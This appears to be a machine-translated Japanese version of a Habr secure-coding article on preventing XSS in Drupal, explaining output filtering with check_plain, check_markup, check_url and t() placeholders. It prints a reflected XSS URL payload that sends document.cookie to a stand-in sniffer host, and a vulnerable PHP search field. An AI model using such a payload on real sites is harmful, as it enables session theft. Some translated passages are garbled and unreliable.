安全なコード:ユーザー入力の使用


(p2。 クロスサイトリクエストフォージェリ ; p2。 データベースの操作

確かに、XSS攻撃はSQLインジェクションとともに最も人気があります。 彼らの原則は恥をかきやすいものであり、その結果は、ページの出力の無害な歪みから、攻撃者がサイトを完全に制御できるようになるまでさまざまです。

いくつかのXSS攻撃シナリオ



定常攻撃


Cookieの盗難と使用の簡単な例を次に示します。

そして、通常のアカウントで攻撃者がこのアカウントの権利の範囲内で危害を加えることができる場合、ルートアカウントの所有権(ドルパーラーの90%がその下に行く)は、頻繁にバックアップを行わないドルパーラーの60%でサイトを文字通り殺すことができます。

揮発性攻撃



リンクにリンクされたXSSとはどういう意味ですか? 非常に一般的な例は、このコードを使用した検索フォームです
<input type="text" value="<?php print($_GET['srch']); ?>">

さて、 site.ru/search.php?srch="><scrіpt>іmg=new Image();іmg.sr="http://snifsite/s.php" +document.cookie;</scrіpt>と書くとsite.ru/search.php?srch="><scrіpt>іmg=new Image();іmg.sr="http://snifsite/s.php" +document.cookie;</scrіpt> 、このURLにアクセスした各被害者からCookieを受け取ります。

XSSからコードを保護する方法は?


答えは簡単です-ページへの出力をフィルタリングします。

Drupalのろ過方法


データを扱う際の黄金律は、データベースにユーザー入力を送信された形式で正確に保存することです。 したがって、すべてのフィルタリングは、ユーザーデータをページに出力する段階で実行する必要があります。

すべてのユーザー入力は、次の2つのタイプに分類できます。
  1. マークアップのないテキスト(プレーンテキスト)


    クリアテキストで送信する必要があるユーザー入力は、 check_plain()関数を通過する必要があります。この関数は、引用符、アンパサンド、不等号括弧をHTML表現に変換します。 次に、そのようなテキストは、ページの最終的なHTMLマークアップに既に挿入できます。

    ほとんどのテーマ関数とAPIは、パラメーターで文字列を受け取り、何らかの方法でフィルターします
    • t() :この関数では、いくつかのタイプのプレースホルダーを使用できますが、これらは異なる方法でフィルタリングされます。
      • !変数-変更なしで挿入されます
      • @variable- check_plain()check_plain()ます。
      • %variable- theme('placeholder')通過します。

    • l() :リンクテキストは、 $htmlパラメーターが明示的に設定されていない限り、常にcheck_plain()を通過します。

    • メニュー項目とパンくずリスト :見出しは自動的にフィルタリングされます。

    • theme('placeholder', $variable) :(デフォルトの実装では)受信パラメーターはフィルターされます。

    • ブロックの説明。

    • theme('username')を介して表示されるtheme('username') (デフォルトの実装)。

    • フォームAPI #default_valueおよび#options (#type == 'select'の場合のみ)。

    フィルタリングについて決して忘れてはならない場所があります
    • drupal_set_title()設定されたページのタイトル。 ページの本文の見出しは自動的にフィルタリングされないため、ユーザーは<em>などのタグを使用できます。 これは<title>タイトルには適用されません。そこからすべてのタグが常にカットされるためです。 注: Drupal 7では状況が変わりました。現在、フィルタリングはデフォルトで実行されます。HTMLヘッダーで送信する必要がある場合、 drupal_set_title()関数で対応するパラメーターを指定する必要があります。
      例:
      drupal_set_title($node->title); //
      drupal_set_title(check_plain($node->title)); //

    • hook_block()を介してhook_block()ブロックヘッダー。 ページタイトルと同じ理由。

    • システムログメッセージ(ウォッチドッグ)。

      例:
      //Drupal 5:
      watchdog('content', t("Deleted !title", array('!title' => $node->title))); // XSS
      watchdog('content', t("Deleted %title", array('%title' => $node->title))); // @

      //Drupal 6 (The message and variables are passed through t() by the watchdog function):
      watchdog('content', "Deleted !title", array('!title' => $node->title)); // XSS
      watchdog('content', "Deleted %title", array('%title' => $node->title)); // @


    • フォームAPI #descriptionおよび#title

      例:
      $form['bad'] = array(
      '#type' => 'textfield',
      '#default_value' => check_plain($u_supplied), // :
      '#description' => t("Old data: !data", array('!data' => $u_supplied)), // XSS
      );

      $form['good'] = array(
      '#type' => 'textfield',
      '#default_value' => $u_supplied,
      '#description' => t("Old data: @data", array('@data' => $u_supplied)),
      );


    • #typecheckboxesまたはradiosと等しい場合、 #typeはAPI #options形成します。

      例:
      $form['bad'] = array(
      '#type' => 'checkboxes',
      '#options' => array($u_supplied0, $u_supplied1),
      );

      $form['good'] = array(
      '#type' => 'checkboxes',
      '#options' => array(check_plain($u_supplied0), check_plain($u_supplied1)),
      );


    • #typemarkupと等しい場合、フォームAPI #value( markup#typeデフォルト値であることを#type )。

      例:
      $form['unsafe'] = array('#value' => $user->name); //XSS
      $form['safe'] = array('#value' => check_plain($user->name));
      //
      $form['safe'] = array('#value' => theme('username', $user));



  2. マークアップ付きのテキスト


    ラベル付きテキストは、 check_markup()を使用してフィルタリングする必要があります。 この関数は、テキスト自体に加えて、フィルタリングルールを含む入力形式を受け入れます。 したがって、マークアップを使用してテキスト用のフォームを作成する場合、複数行フィールドの横にウィジェットを導入して入力形式を選択することは理にかなっています( filter_form() )。

    check_markup()を通過したマークアップテキストを表示するユーザーには、選択した入力形式を表示する権限が必要であることに注意してください。 デフォルトでは、このチェックは常に実行されます。 ただし、コンテンツは通常、このコンテンツを作成したユーザーよりも低い権限を持つユーザーによって表示されるため、これは必ずしも必要ではありません。 そのため、対応するパラメーターをcheck_markup()送信することにより、出力の権限のチェックを無効にすることができます。 ただし、このコンテンツを含むフォーム自体を送信するときは、 filter_access()でこれらの権限を常に確認する必要があります。

  3. URL

    • 関数l()url()request_uri()のurlの主要部分既にフィルター処理されていますが、GETパラメーターとアンカーフラグメントのフィルター処理は自分で行う必要があります。 これは、GETパラメーターで#記号を誤ってまたは意図的に送信してもURL全体が損なわれないようにするために必要です。 urlencode()関数を使用してフィルタリングします。

      例:
      //
      l(t('Some link'), $path, array('query' => $query, 'fragment' => $fragment)); //
      l(t('Link'), urlencode($path), array('query' => $query, 'fragment' => $fragment)); //

      //
      l(t('Link'), $path, array('query' => urlencode($query), 'fragment' => urlencode($fragment)));


    • ページにurlを表示するとき、 check_url()を介してそれを渡します。これはcheck_plain()を呼び出すだけでなく、urlプロトコルの正確さもチェックします。

      例:
      //
      print '<a href="/$url">';
      print '<a href="/'. check_plain($url) .'">';

      //
      print '<a href="/'. check_url($url) .'">';


-=ボーナス=-


前回のDrupalconのビデオレポート「Introduction Security」:

ビデオをダウンロードする(226Mb)

セキュアコードシリーズの他の記事

Source: https://habr.com/ru/post/J56291/


All Articles